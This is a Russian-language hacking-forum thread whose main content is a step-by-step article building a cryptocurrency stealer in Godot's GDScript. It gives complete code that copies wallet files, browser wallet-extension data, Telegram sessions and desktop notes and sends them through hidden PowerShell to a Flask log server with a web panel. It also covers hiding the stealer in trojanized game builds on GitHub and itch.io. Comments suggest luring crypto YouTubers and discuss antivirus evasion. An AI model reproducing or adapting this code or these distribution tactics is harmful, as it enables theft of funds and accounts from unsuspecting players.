сделайЧестно говоря я бы как-то в направлении адверта попробовал эту тему. Делаешь что-то около nft тапалки для пк и льешь по X всяким там криптоютуберам под видом сотрудничества. Запустите дяденька, на видео покажите)
сделайЧестно говоря я бы как-то в направлении адверта попробовал эту тему. Делаешь что-то около nft тапалки для пк и льешь по X всяким там криптоютуберам под видом сотрудничества. Запустите дяденька, на видео покажите)
к слову об этике?По сабжу: имхо, вы этим просто добьетесь того, что рантайм движка будет палиться антивирусами, как это было с языком Nim. Понятно, что для вас это небольшая проблема, ну будет палиться стиллер на Годоте, ну будет тогда стиллер на Юнити, или на Дефолде каком-нибудь. А вот для движка - это добавит кучу головной боли, ведь как показала практика языка Nim, большинство аверов срать хотели на жалобы о ложных срабатываниях от разработчиков всяких не распространенных широко оупенсорсных вещей.
так на конкурсе уже есть тапалка по типу хомяка. Такое на игровом то движке можно реализовать посмотрев 1-2 ролика о годот. Лично я посмотрел минут 15 и в принципе понял как тут и что устроено в базовом плане. Интереснее всего конечно как подобный софт продвинется при грамотном пиаре, но будем реалистами, врятли кто-то это попробует, у большиснтва уже есть давно купленные и проверенные малвари, а данный софт будут юзать в основном новички от которых врятли можно ожидать хорошего проливасделай
в современных реалиях перенасыщенности "хакеров" в сети и параллельном повышении весомости блек маркетинга -> неважно насколько интересен и потенциален продукт, важно то, насколько инфа об этом продукте сможет завоевать информационное полеИнтереснее всего конечно как подобный софт продвинется при грамотном пиаре
Скорее всего ты и прав. Но я лишь кодер, сам трафиком не занимаюсь, так что не могу быть на 100% уверен. Надеюсь сюда придет шарящий человек и по полочкам нам все разложитв современных реалиях перенасыщенности "хакеров" в сети и параллельном повышении весомости блек маркетинга -> неважно насколько интересен и потенциален продукт, важно то, насколько инфа об этом продукте сможет завоевать информационное поле
это касается как малвари для "плохих" делишек, так и вполне легит софта различной направленности
а может в конкурсе где-то и есть касаемо этого, если делать акцент на траф с гита, как сказано на хакере(ты линк прикрепрял о лодыре на годоте), то гдето была статья о гите, но там вроде как кринж какойто, хз мб подходы нужные другие или внатури рип методСкорее всего ты и прав. Но я лишь кодер, сам трафиком не занимаюсь, так что не могу быть на 100% уверен. Надеюсь сюда придет шарящий человек и по полочкам нам все разложит
яж еще одну статью написал, но не для конкурса, я там делал лодер на годот и в конце показал как на сайт залить популярный где инди разрабы свои проекты выкидывают. Я закинул туда чистый билд но сути это не меняяет, это было на столько просто что я был мягко говоря удивлен. Никакких проверок, регистрация на временную почту, никаких личных данных, все было сделано буквально за минуты. Я слишком ленив что бы реально проливать трафик, но мне кажется если серьезно взяться за это, получится неплохо. Но получить там миллионы миллионов конечно врятли получитсяа может в конкурсе где-то и есть касаемо этого, если делать акцент на траф с гита, как сказано на хакере(ты линк прикрепрял о лодыре на годоте), то гдето была статья о гите, но там вроде как кринж какойто, хз мб подходы нужные другие или внатури рип метод
а вообще было бы круто для самых ленивых соединять статьи для амбициозных связок
а то впадлу сидеть серчить метод реализации подходящий под продукт
А можно ли так добиться детектов на бинарь питона? Вообще какой-то крайне тупой способ детекта. Пусть мусора развивают поведенческий анализ или пихают везде тредлокеры иначе до бешеного запрещающего принтера не далеко. Запрещать надо уметь , жи есть!По сабжу: имхо, вы этим просто добьетесь того, что рантайм движка будет палиться антивирусами, как это было с языком Nim. Понятно, что для вас это небольшая проблема, ну будет палиться стиллер на Годоте, ну будет тогда стиллер на Юнити, или на Дефолде каком-нибудь. А вот для движка - это добавит кучу головной боли, ведь как показала практика языка Nim, большинство аверов срать хотели на жалобы о ложных срабатываниях от разработчиков всяких не распространенных широко оупенсорсных вещей.
Звучит грустно , как воровать у бездомныхяж еще одну статью написал, но не для конкурса, я там делал лодер на годот и в конце показал как на сайт залить популярный где инди разрабы свои проекты выкидывают. Я закинул туда чистый билд но сути это не меняяет, это было на столько просто что я был мягко говоря удивлен. Никакких проверок, регистрация на временную почту, никаких личных данных, все было сделано буквально за минуты. Я слишком ленив что бы реально проливать трафик, но мне кажется если серьезно взяться за это, получится неплохо. Но получить там миллионы миллионов конечно врятли получится
Попробуй залить python.exe на вирустотал, вполне вероятно, какой-нибудь особо всратый ноунейм антивирус его уже детектит). Но для более-менее известных аверов - это, наверное, мало вероятно. Тут с точки зрения ложных срабатываний скорее дело упирается в количество грамотных людей, готовых кошмарить аверов: наносить какой-то громкий репутационный ущерб, или даже до суда дело доводить. В комьюнити Nim'а таких людей не было, хоть комьюнити и достаточно большое. Если бы дело касалось какого-нибудь Go, аверам бы в первые несколько секунд прилетело официальное письмо от Гугла, которое они не смогли бы спокойно игнорить.А можно ли так добиться детектов на бинарь питона? Вообще какой-то крайне тупой способ детекта. Пусть мусора развивают поведенческий анализ или пихают везде тредлокеры иначе до бешеного запрещающего принтера не далеко. Запрещать надо уметь , жи есть!
Я тут скачал какую-то рандомную игру с itch.io на Godot и посмотрел, как выглядит экспорт. Я раньше думал, что они пакуют ассеты и код в ZIP и пихают в оверлей PE-файла с движком (так на самом деле делают многие инди-движки), но оказывается там обычно PCK-файл лежит отдельно от исполняемого файла. То есть, технически, для авера нужно будет сигнатуру на PCK-файл ставить. PCK-формат открыт, парсить его особо много труда не составит, то есть скорее всего надо будет хотя бы строки шифровать в GDScript-коде, а может быть и морфер какой-то выдумывать, чтобы это прожило долгое время. Вроде бы для PCK-файла можно добавить AES-шифрование, но похоже, что для этого нужно кастомный шаблон для экспорта собирать руками, из-за чего теряется сама концепция того, что ты используешь известный и сравнительно многими используемый легальный экзешник для прикрытия. Ну и да, понятно, что схемы распространения могут быть разными, но как-то 40мб экзешник и дополнительный PCK-файл к нему немного сужает список возможных методик и целевой аудитории, в этом плане какой-нибудь движок типа Defold или Love был бы выгоднее).что рантайм движка будет палиться антивирусами
Попробуй залить python.exe на вирустотал, вполне вероятно, какой-нибудь особо всратый ноунейм антивирус его уже детектит). Но для более-менее известных аверов - это, наверное, мало вероятно. Тут с точки зрения ложных срабатываний скорее дело упирается в количество грамотных людей, готовых кошмарить аверов: наносить какой-то громкий репутационный ущерб, или даже до суда дело доводить. В комьюнити Nim'а таких людей не было, хоть комьюнити и достаточно большое. Если бы дело касалось какого-нибудь Go, аверам бы в первые несколько секунд прилетело официальное письмо от Гугла, которое они не смогли бы спокойно игнорить.
Вот недавно видел что какаят популярная игра в стим теперь ав детектится, разрабы просто ответили что это антивирусы в край ебанулись и с игрой все впорядке, вроде люди схавали т.к игра имеет большую аудиторию преданную. Так что мне кажется что в случае с игрой и ее детектами реально можно обойтись просто парой слов по типу "все х#йня, с игровой все впорядке" при условии что игра будет хорошей. да и свпомним торренты, большинство людей не останавливают крики ав если человек хочет позадротить в любимую или хайповую игруЯ думаю, если им игра нравится -то будут отключать АВ и играть.
Нормальный контентКрипто стиллер на Godot — что-то непонятное, правда? Сейчас я расскажу о том, что это и как я к этому пришел.
Немного инфы о проекте
Для начала объясню, что такое Godot. Godot — это игровой опенсорс-движок, на котором можно делать как 2D, так и 3D игры. Но это нас не особо интересует, ведь форум немного о другом. Самое интересное, что в этом движке используется свой собственный язык под названием GDScript, который очень даже похож на Питон. Благодаря тому, что язык по факту ноунейм, задетектить подобного рода софт, написанный на нем, будет крайне сложно, что и является основным плюсом данного софта, да и самой идеи написания вирусов на этом языке в целом.
Дело в том, что мне как-то попалась статья о том, что GitHub и игры начал массово заполнять малварь на Godot, и был этот малварь лоадером. Собственно говоря, именно поэтому я решил также попробовать сделать что-то подобное на данном языке. Ведь в публичном доступе ничего подобного в принципе нет, и данный проект своего рода уникален, хоть и сама тема фри-стиллеров уже заезжена вдоль и поперек.
Как я вообще пришел к мысли о создании малваря на данном языке?
Прочитать одну из новостей о малваре на Godot можно по этой ссылке:
https://xakep.ru/2024/11/29/godloader-godot/
Цель проекта проста: показать, что даже самым необычным способом и на ноунейм языке есть возможность написать малварь и доказать это на практике.
В чем цель данного проекта?
Какой функционал будет в этом мутанте?Стиллер холодных кошельков и плагинов из Edge с криптокошельками.
Граббер рабочего стола.
Граббер Telegram.
Сбор данных о системе и IP.
Отправка логов на сервер через запросы.
Веб-панель.
Дело в том, что для расшифровки куки и паролей нужно как минимум получить ключ из DPAPI и AES. А библиотек на GDScript для этого нет, поэтому нужно писать собственную логику с нуля. Учитывая, что это не какой-нибудь там Python (хоть и его брат-близнец), сделать это было бы крайне сложно и заняло бы больше времени, чем длится конкурс. А поучаствовать мне все же захотелось. Несмотря на это, даже с тем функционалом, который будет присутствовать, считаю, что вполне можно работать.
Почему в этом списке нету стиллера паролей и куки?
Теперь давайте приступим к работе над самим стиллером. Первое, что потребуется сделать, — это скачать и установить сам Godot.
Создание и настройка проекта
Скачать его можно с официального сайта или GitHub-репозитория по этой ссылке:
https://github.com/godotengine/godot/releases/download/4.3-stable/Godot_v4.3-stable_win64.exe.zip
После установки Godot сразу же создаем проект, как показано на скриншоте ниже:
Посмотреть вложение 102098
После создания проекта первое, что сделаем, — это создадим 2D-сцену, к которой впоследствии прикрепим скрипт самого стиллера.
Посмотреть вложение 102099
Сохраняем сцену, чтобы она появилась в файловой системе, используя Ctrl+S.
Посмотреть вложение 102100
Посмотреть вложение 102101
Создаем и прикрепляем скрипт к главному меню, а затем сохраняем.
Посмотреть вложение 102102
Посмотреть вложение 102103
В этом окне мы и будем писать всю логику стиллера, так что все, что есть в данном скрипте при его создании, удаляем, не считая первой строки extends Node2D.
В коде сразу же создадим эту функцию:
Пишем код клиента на Godot
func _enter_tree():
Данная функция используется для того, чтобы код, указанный в ней, запускался при инициализации сцены. В ней будет указан вызов нашей основной функции, которая будет приводить в действие весь стиллер, но пока что это пропустим и рассмотрим функции, которые будут выполнять основную логику, по отдельности.
Первой на очереди будет функция для сбора холодков и плагинов.
Сбор крипты
Логика данной функции проста: для начала берем и открываем папку, из которой нужно копировать. Если папки нет, то выводим print с ошибкой.Python:func copy_folder_content(source_path: String, destination_path: String): # Открываем папку из которой нужно скопировать var source_dir = DirAccess.open(source_path) # Если папки нет if source_dir == null: print("Папка не найдена: " + source_path) return # Открывает текущую директорию var dest_dir = DirAccess.open(".") # Создает папки по пути destination_path (во временной папке лога) dest_dir.make_dir_recursive(destination_path) # Перечисляет все файлы и папки по пути source_dir source_dir.list_dir_begin() while true: # Бесконечный цикл # Получаем имя следующей папки или файла в директории из которой нужно копировать var file = source_dir.get_next() # Если название папки пустое, значит папки кончились и заканчивается цикл if file == "": break # Сборка полного пути до файла var source_file_path = source_path + "/" + file # Сборка полного пути куда копировать var destination_file_path = destination_path + "/" + file # Проверяет, является ли текущий элемент файлом или папкой if source_dir.current_is_dir(): # Если папка, то вызывать функцию для копирования файлов передавая туда полный путь до папки source_file_path copy_folder_content(source_file_path, destination_file_path) else: # Если элемент это файл а не папка то тогда копируем файл и вставляем его во временную папку лога по пути destination_file_path var file_reader = FileAccess.open(source_file_path, FileAccess.READ) var file_writer = FileAccess.open(destination_file_path, FileAccess.WRITE) if file_reader and file_writer: file_writer.store_buffer(file_reader.get_buffer(file_reader.get_length())) # Закрываем файл откуда копирует и файл куда копирует file_reader.close() file_writer.close()
Затем проходимся по каждому объекту в папке внутри бесконечного цикла.
Проверяем каждый объект на то, является ли он папкой или файлом. Если является файлом, то копируем его во временную папку лога. Если является папкой, то вызывается эта же функция, и в нее передается путь до выбранной папки, и так по кругу, пока все файлы и папки не закончатся.
Возможно, у вас возникнет вопрос: почему же так замудренно? Нельзя ли просто взять всю папку с холодком и скопировать, не прописывая вручную логику для рекурсивного поиска всех файлов и папок?
А вот нельзя. В Godot нет функции, позволяющей сразу же скопировать всю папку с файлами, поэтому приходится вручную искать каждую папку и каждый файл и копировать их по отдельности, повторяя оригинальный порядок путей.
После функции для сбора холодков следуют функции для сбора файлов Telegram и файлов с рабочего стола. Все эти функции практически полностью повторяют функционал показанной выше функции, так что повторяться я смысла не вижу и просто предоставлю вам код.
Сбор Telegram
Сбор Telegram-файлов:
Python:func copy_telegram_tdata_content(source_path: String, destination_path: String): # Папки которые не надо копировать var excluded_folders = ["dumps", "emoji", "temp", "user_data"] # Открываем папку откуда копировать var source_dir = DirAccess.open(source_path) # Если папки нету if source_dir == null: print("Папка не найдена: " + source_path) return var dest_dir = DirAccess.open(".") dest_dir.make_dir_recursive(destination_path) source_dir.list_dir_begin() while true: var file = source_dir.get_next() # Если название папки пустое, значит папки кончились и заканчивается цикл if file == "": break # Если название папки есть в списке папок исключений if file in excluded_folders: continue # Пропускаем исключаемые папки # Сборка полного пути до файла var source_file_path = source_path + "/" + file # Сборка полного пути куда копировать var destination_file_path = destination_path + "/" + file if source_dir.current_is_dir(): # Если папка, то вызывать функцию для копирования файлов передавая туда полный путь до папки source_file_path copy_telegram_tdata_content(source_file_path, destination_file_path) else: # Если элемент это файл а не папка то тогда копируем файл и вставляем его во временную папку лога по пути destination_file_path var file_reader = FileAccess.open(source_file_path, FileAccess.READ) var file_writer = FileAccess.open(destination_file_path, FileAccess.WRITE) if file_reader and file_writer: file_writer.store_buffer(file_reader.get_buffer(file_reader.get_length())) # Закрываем файл откуда копирует и файл куда копирует file_reader.close() file_writer.close()
Сбор файлов с рабочего столаБыло принято решение в данной функции собирать только текстовые файлы, ибо в них чаще всего и находятся заметки с паролями и сидами от кошельков. Но если же вам нужны еще какие-либо форматы, то это легко добавить, заменив эту строку:Python:func copy_text_files_from_desktop(desktop_path: String, destination_path: String): # Открываем папку откуда копировать var source_dir = DirAccess.open(desktop_path) # Если папки нету if source_dir == null: print("Папка не найдена: " + desktop_path) return var dest_dir = DirAccess.open(".") dest_dir.make_dir_recursive(destination_path) source_dir.list_dir_begin() while true: var file = source_dir.get_next() # Если название папки пустое, значит папки кончились и заканчивается цикл if file == "": break var source_file_path = desktop_path + "/" + file var destination_file_path = destination_path + "/" + file # Проверка, если это текстовый файл то копируем в временную папку лога if file.ends_with(".txt"): var file_reader = FileAccess.open(source_file_path, FileAccess.READ) var file_writer = FileAccess.open(destination_file_path, FileAccess.WRITE) if file_reader and file_writer: file_writer.store_buffer(file_reader.get_buffer(file_reader.get_length())) # Закрываем файл откуда копирует и файл куда копирует file_reader.close() file_writer.close()
if file.ends_with(".txt"):
на эту:
if file.ends_with(".txt") or file.ends_with(".log") or file.ends_with(".csv"):
Напоминаю, что все файлы копируются в временную папку лога. В дальнейшем эта временная папка будет запихиваться в архив и отправляться. После этого временная папка будет удаляться, и как раз функцию удаления мы и рассмотрим сейчас.
Удаление временной папки логаСуть тут такая же, как и у функций для копирования, и проблема соответственно тоже. То есть нельзя просто так взять и удалить папку со всем содержимым, нужно рекурсивно пройтись по всем файлам и папкам и удалять их по одному, а в конце удалить уже пустую основную папку для временных файлов.Python:func delete_folder(folder_path: String): # Открывает временную папку лога var dir = DirAccess.open(folder_path) # Если директория не пуста if dir != null: # Перечисляет все папки и файлы внутри dir.list_dir_begin() # Получаем имя следующей папки или файла var file = dir.get_next() # Бесконечный цикл while true: # Если название папки пустое, значит папки кончились и заканчивается цикл if file == "": break # Собираем полный путь до элемента var path = folder_path + "/" + file # Если элемент это папка,то вызываем эту же функцию удаления чтобы пробежаться рекурсивно по ней и все удалить if dir.current_is_dir(): delete_folder(path) # Рекурсивно удаляем вложенные папки else: # Если элемент это файл, то удаляем var file_remover = FileAccess.open(path, FileAccess.WRITE) if file_remover: file_remover.close() DirAccess.open(".").remove(path) # Удаляем файл file = dir.get_next() dir.remove(folder_path) # Удаляем саму папку
Теперь рассмотрим функции для получения данных о системе и IP-адреса. Для этого будет использоваться вызов PowerShell и отправка в него команд. Метод достаточно простой, но действенный.
Получение IPPython:func fetch_ip_address() -> String: var commands = [ "-WindowStyle", "Hidden", # Скрывает консольное окно "-Command", "Invoke-RestMethod -Uri 'https://httpbin.org/ip?format=json'" ] # Массивы для вывода var output = [] # Выполнение PowerShell c передачей в нее команды var exit_code = OS.execute("powershell", commands, output, true, true) # Обработка результата if exit_code == 0: # Склеиваем строки в одну строку var output_str = "" for line in output: output_str += line.strip_edges() + "\n" # Попробуем найти IP в выводе var lines = output_str.split("\n") if lines.size() >= 3: var ip = lines[2].strip_edges() return ip else: print("Не удалось найти IP в ответе") # Возвращаем пустую строку return ""
Как и было сказано ранее, метод простой: в нем мы просто собираем команду PowerShell для отправки запроса на https://httpbin.org/ip?format=json, затем получаем ответ примерно в таком виде:
origin
------
213.108.23.243
Затем берем третью строку в которой как раз и находится ip адрес
Так же поясню за эту строчку:
var exit_code = OS.execute("powershell", commands, output, true, true)
Она в принципе так же понятна, за исключением последних двух true.
Первый true означает, что нужно дожидаться окончания работы команды.
Второй true означает, что ответ от PowerShell будет записываться.
По такому же принципу работает и команда для получения данных о системе:
Получение данных системы
Python:func fetch_system_info() -> Dictionary: var commands = [ "-WindowStyle", "Hidden", "-Command", "\"Get-CimInstance Win32_Processor | Select-Object -ExpandProperty Name; " + "Get-CimInstance Win32_Processor | Select-Object -ExpandProperty NumberOfCores; " + "Get-CimInstance Win32_Processor | Select-Object -ExpandProperty NumberOfLogicalProcessors; " + "[math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB, 2)\"" ] # Массивы для вывода и ошибок var output = [] var exit_code = OS.execute("powershell", commands, output, true, true) # Если выполнилось удачно if exit_code == 0: # Разделяем ответ на строки var lines = "".join(output).strip_edges().split("\n") return { # Берем данные из строк и записываем в ключи и возвращаем их "processor_name": lines[0].strip_edges(), "cores": lines[1].strip_edges(), "logical_processors": lines[2].strip_edges(), "ram": lines[3].strip_edges() + " GB" } # Если команда не выполнилась, возвращаем пустой объект return {}
Отправляться лог в виде ZIP-архива на сервер будет так же с помощью PowerShell команды. Адрес сервера для отправки указывается сразу в команде PowerShell.
Отправка лога на сервер
Python:func send_file_to_flask(output_archive: String): var command_str = """ $filePath = '""" + output_archive + """' $fileBytes = [System.IO.File]::ReadAllBytes($filePath) $base64String = [Convert]::ToBase64String($fileBytes) $uri = 'http://127.0.0.1:5000/data' $body = @{ text = $base64String } Invoke-RestMethod -Uri $uri -Method POST -ContentType 'application/json' -Body ($body | ConvertTo-Json) """ var commands = [ "-WindowStyle", "Hidden", "-Command", command_str ] var output = [] var exit_code = OS.execute("powershell", commands, output, true, true) if exit_code == 0: print("Файл отправлен") print("Ответ: ", "".join(output).strip_edges()) else: print("Ошибка при отправке: ", exit_code) print("Ответ: ", "".join(output).strip_edges())
Со всеми функциями сбора данных закончено, теперь рассмотрим функцию, которая будет создавать временную папку, вызывать функции для сбора данных, архивировать собранные данные в ZIP-архив, удалять временную папку и вызывать функцию для отправки архива с логом.
Основная функция для запуска стиллера
Для начала в функции пропишем все необходимые пути:
Пути до папок для сбора данных и куда сохранять эти данные
Python:func create_combined_archive(): # Пути к папкам которые нужно копировать var appdata_path = OS.get_environment("APPDATA") var localappdata_path = OS.get_environment("USERPROFILE") + "/AppData/Local" var exodus_path = appdata_path + "/Exodus/exodus.wallet" var electrum_path = appdata_path + "/Electrum/wallets" var metamask_path = localappdata_path + "/Microsoft/Edge/User Data/Default/Local Extension Settings/ejbalbakoplchlghecdalmeeeajnimhm" var trust_path = localappdata_path + "/Microsoft/Edge/User Data/Default/Local Extension Settings/egjidjbpglichdcondbcbdnbeeppgdph" var phantom_path = localappdata_path + "/Microsoft/Edge/User Data/Default/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa" var telegram_path = appdata_path + "/Telegram Desktop/tdata" # Путь до tdata var desktop_path = OS.get_environment("USERPROFILE") + "/Desktop" # Путь для копирования файлов с рабочего стола # Путь для временной папки и архива var temp_path = OS.get_environment("USERPROFILE") + "/AppData" # Временная папка лога var temp_folder = temp_path + "/log_temp" # Путь до архива var output_archive = temp_path + "/log.zip" # Путь куда сохранять инфу о системе var info_file_path = temp_folder + "/Info.txt" Затем создаем временную папку var temp_dir = DirAccess.open(temp_folder) if temp_dir == null: temp_dir = DirAccess.open(".") temp_dir.make_dir_recursive(temp_folder)
Вызываем функции для получения данных о ПК и IP, а затем проверяем возвращенные от этих функций ответы на наличие данных и записываем их, если данные есть.
Вызов функции для сбора данных о пк и ip
Python:# Вызов функции для получения ip адреса var ip = fetch_ip_address() # Вызов функции для получения информации о системе var system_info = fetch_system_info() # Открываем файл для информации о пк # FileAccess.open открывает файл или создает его если файла нет var info_file = FileAccess.open(info_file_path, FileAccess.WRITE) # Если IP непустая строка if ip != "": info_file.store_string("IP-адрес: " + ip + "\n") else: info_file.store_string("IP-адрес: Не удалось определить\n") # Если размер полученных данных по размеру больше 0 if system_info.size() > 0: # Берутся ключи из ответа от функции fetch_system_info() и записываются в файл с помощью метода store_string info_file.store_string("Информация о системе:\n") info_file.store_string("Процессор: " + system_info["processor_name"] + "\n") info_file.store_string("Ядра: " + system_info["cores"] + "\n") info_file.store_string("Потоки: " + system_info["logical_processors"] + "\n") info_file.store_string("ОЗУ: " + system_info["ram"] + "\n") else: info_file.store_string("Информация о системе: Не удалось получить данные\n") info_file.close()
Вызываем функции для копирования данных холодков, рабочего стола, Telegram, передавая в эти функции путь, откуда копировать, и путь, куда копировать.
Вызов функции для копирования файлов холодков и прочего
Python:copy_folder_content(exodus_path, temp_folder + "/CryptoWallets/Exodus") copy_folder_content(electrum_path, temp_folder + "/CryptoWallets/Electrum") copy_folder_content(metamask_path, temp_folder + "/CryptoWallets/Metamask") copy_folder_content(trust_path, temp_folder + "/CryptoWallets/Trust") copy_folder_content(phantom_path, temp_folder + "/CryptoWallets/Phantom") copy_telegram_tdata_content(telegram_path, temp_folder + "/Telegram") # Копируем текстовые файлы с рабочего стола copy_text_files_from_desktop(desktop_path, temp_folder + "/Desktop")
Далее следует создание архива, и оно будет реализовано через мой любимый PowerShell.
Создание архива
Python:var result = OS.execute("powershell", [ "-Command", "Compress-Archive", "-Path", '"' + temp_folder.replace("/", "\\") + "\\*" + '"', "-DestinationPath", '"' + output_archive.replace("/", "\\") + '"' ], [])
Затем удаляем временную папку с помощью вызова соответствующей функции и отправляем созданный архив на сервер также с помощью написанной ранее функции.
Вызов функции для удаления временной папки
Функция закончена, и почти весь скрипт тоже. Теперь нужно, чтобы он запускался при запуске игры.Python:# Удаляем временную папку с помощью функции delete_folder delete_folder(temp_folder) if result == 0: print("Архив успешно создан: " + output_archive) send_file_to_flask(output_archive) else: print("Ошибка при создании архива.")
В начале написания кода я уже упоминал такую функцию, как
Функция для запуска всей логики при запуске игрыfunc _enter_tree():, и именно она сейчас и понадобится.
Создадим ее в начале скрипта и вызовем в ней функцию, которую писали выше.
Таким образом, скрипт будет запускаться сразу при запуске игры.Python:func _enter_tree(): print("Запуск...") create_combined_archive()
Раз с клиентом стиллера закончено, можем приступить к написанию сервера, который будет принимать логи и отображать их в веб-панели с возможностью скачивания.
Пишем код сервера на Python
Сервер будет написан на излюбленном мною Flask с использованием SQLite, и первое, что нам понадобится, так это подготовить сам проект. В нем нужно создать несколько папок:
Подготовка проекта
Также создадим файл main.py, в котором и будем писать основную логику.
- logs для хранения архивов с логами
- static для стилей веб-панели
- templates для хранения HTML файлов панели
Посмотреть вложение 102104
В качестве IDE будет использоваться PyCharm. Открываем через него проект и сразу же создаем виртуальную среду, в которой будут храниться все необходимые библиотеки.
Посмотреть вложение 102105
Теперь в самом Python файле укажем все библиотеки, которые будем использовать в дальнейшем.
Необходимые библиотеки
Python:import os import base64 import random import string from datetime import datetime from flask_sqlalchemy import SQLAlchemy from flask import Flask, request, render_template, send_file
Инициализируем Flask-приложение и SQLAlchemy для базы данных, а также создаем саму модель таблицы для базы данных.
Инициализация Flask и SQLAlchemy
Python:app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///archives.db' app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False # Инициализация SQLAlchemy db = SQLAlchemy(app) # Модель для таблицы логов class Archive(db.Model): id = db.Column(db.Integer, primary_key=True) filename = db.Column(db.String(100), nullable=False) created_at = db.Column(db.String(20), nullable=False) file_path = db.Column(db.String(255), nullable=False) def __repr__(self): return f'<Archive {self.filename}>'
Создаем папку для хранения логов если ее еще нетPython:LOGS_FOLDER = 'logs' if not os.path.exists(LOGS_FOLDER): os.makedirs(LOGS_FOLDER)
Теперь создадим функцию, обрабатывающую запросы от Godot стиллера. Как помним, в Godot мы указывали маршрут http://127.0.0.1:5000/data, поэтому и в Python коде маршрут будет /data.
Обработка запросов
Python:@app.route('/data', methods=['POST']) def receive_data(): data = request.json # Получаем данные из JSON-запроса if not data or 'text' not in data: return "Ошибка при получении данных лога", 400
Если данные есть, то конвертируем их из base64 в байты, затем генерируем случайное название для архива archive.zip, сохраняем файл с конвертированными из base64 в байты данными в папку logs.
Python:# Извлекаем строку Base64 base64_string = data['text'] try: # Декодируем строку Base64 в байты file_bytes = base64.b64decode(base64_string) # Генерируем случайное имя для архива random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=10)) + '.zip' file_path = os.path.join(LOGS_FOLDER, random_filename) # Сохраняем файл на диск with open(file_path, 'wb') as file: file.write(file_bytes) return "Лог успешно получен сервером", 200 except Exception as e: return f"Ошибка: {str(e)}", 500
Также не забываем о базе данных, в которую нужно записать данные о логе. Этот код нужно поместить в try.
Python:created_at = datetime.now().strftime('%Y-%m-%d %H:%M:%S') new_archive = Archive( filename=random_filename, created_at=created_at, file_path=file_path ) db.session.add(new_archive) db.session.commit()
Теперь создадим маршрут для страницы, на которой будут отображаться данные логов.
Передача данных о логах в веб панель
Для передачи данных о логах на страницу мы будем просто считывать все данные из базы данных и передавать их в index.html.Python:@app.route('/') def index(): archives = Archive.query.all() return render_template('index.html', archives=archives)
Функция для скачивания логов
Также в панели будет возможность скачивать логи, поэтому для этого сразу же напишем еще один маршрут, который в дальнейшем будет вызываться при нажатии на кнопку в панели.
Принцип работы очень прост: при нажатии на кнопку "Скачать" в панели на данный маршрут будет отправляться id лога в базе данных. Затем, в функции будет искаться нужный лог по его id в базе данных. В базе данных у лога есть столбец, в котором указан путь до файла. С помощью функции send_file из Flask будет происходить скачивание лога с использованием найденного пути до него.Python:@app.route('/download/<int:archive_id>') def download(archive_id): # Получаем архив по ID archive = Archive.query.get_or_404(archive_id) # Отправляем файл на скачивание return send_file(archive.file_path, as_attachment=True)
На этом весь бекенд завершен, и теперь рассмотрим саму веб-панель. Она максимально проста, в ней мы будем визуализировать таблицу и отображать данные из базы данных, переданные ранее из бэкэнд-функции index на веб-страницу.
Веб панель
HTML:<!DOCTYPE html> <html lang="ru"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Логи</title> <!-- Подключаем CSS --> <link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}"> </head> <body> <h1>GDSteel.inc</h1> <table> <thead> <tr> <th>ID</th> <th>Имя файла</th> <th>Дата</th> <th>Скачать</th> </tr> </thead> <tbody> {% for archive in archives %} <tr> <td>{{ archive.id }}</td> <td>{{ archive.filename }}</td> <td>{{ archive.created_at }}</td> <td> <a href="{{ url_for('download', archive_id=archive.id) }}"> <button>Скачать</button> </a> </td> </tr> {% endfor %} </tbody> </table> </body> </html>
Как видно, к странице подключены стили. На них также останавливаться смысла нет, так как сложных стилей там нет, а работу с CSS на данном форуме разбирали уже много раз, и я уверен, что все знают, как с ними работать. Поэтому просто приложу код:
CSS:/* Основные стили для страницы */ body { font-family: 'Roboto', sans-serif; background-color: #1e1e1e; margin: 0; padding: 20px; color: #e0e0e0; } h1 { text-align: center; color: #e0e0e0; font-size: 2.5em; margin-bottom: 20px; } /* Стили для таблицы */ table { width: 100%; margin-top: 20px; border-collapse: collapse; background-color: #2d2d2d; } th, td { padding: 10px; text-align: left; border: 1px solid #575757; } th { background-color: #3e3e3e; color: #d5d5d5; font-weight: bold; } tr:nth-child(even) { background-color: #333; } tr:hover { background-color: #4c4c4c; } /* Стили для кнопки скачивания */ button { background-color: #5eaf00; color: white; padding: 8px 16px; border: none; border-radius: 5px; cursor: pointer; font-size: 1em; transition: background-color 0.3s ease, transform 0.2s ease; } button:hover { background-color: #4d9e00; } button:active { background-color: #4b8b00; transform: scale(0.98); } button:focus { outline: none; }
Теперь, когда весь проект написан, можем перейти к просмотру того, как выглядит панель и сам лог нашего Godot-стилера.
Посмотреть вложение 102106
Посмотреть вложение 102107
Посмотреть вложение 102108
Посмотреть вложение 102109
Теперь немного можно поговорить о том, как распространять данный стиллер. В начале статьи уже давалась ссылка о том, как подобный софт распространяли, а именно — через GitHub репозитории с играми.
Методы распространения
Есть несколько вариантов, как сделать это через GitHub:
GitHub
- Голый скрипт внутри исходников какой-либо игры. Разумеется, это очень опасно, так как существует шанс, что даже если проект игры огромный, кто-то начнёт разбираться в его исходниках и заметит скрипт и адрес, куда всё отправляется. Так что этот метод мне кажется не самым лучшим.
- В исходниках приложить чистый проект игры, а в релизе указать скомпилированный проект уже с нашим скриптом. Как правило, когда кто-то хочет взять проект игры, сначала скачивают его демо-версию, поэтому шанс того, что человек скачает релизную версию, довольно велик.
Также демку игры можно распространять на сайте для инди-разработчиков itch.io. Поток пользователей на данном сайте достаточно большой, и скачивают и запускают даже самые простые игры, типа змейки, так что вам будет достаточно найти исходники любого 2D проекта, прикрутить скрипт, скомпилировать и загрузить на сайт. Так как малварь написан на GDScript, его не обнаружат, поэтому на данном сайте он может "пролежать" довольно долго. Это также относится и к GitHub.
itch.io
Посмотреть вложение 102110
С методами распространения разобрались, теперь рассмотрим, как наш малварь встроить в рандомную игру. Для примера была взята эта игра — https://github.com/TinyTakinTeller/GodotProjectZero.
Встраиваем стиллер в чужой проект игры
После импортирования проекта в Godot, переходим к главной ноде и открываем скрипт игры.
Посмотреть вложение 102111
Посмотреть вложение 102112
Пихаем в любое место этого скрипта наш малварь, начиная со строки с функцией_enter_tree().
Посмотреть вложение 102113
Посмотреть вложение 102114
Компилируем игру со стиллером
Посмотреть вложение 102115
Посмотреть вложение 102116
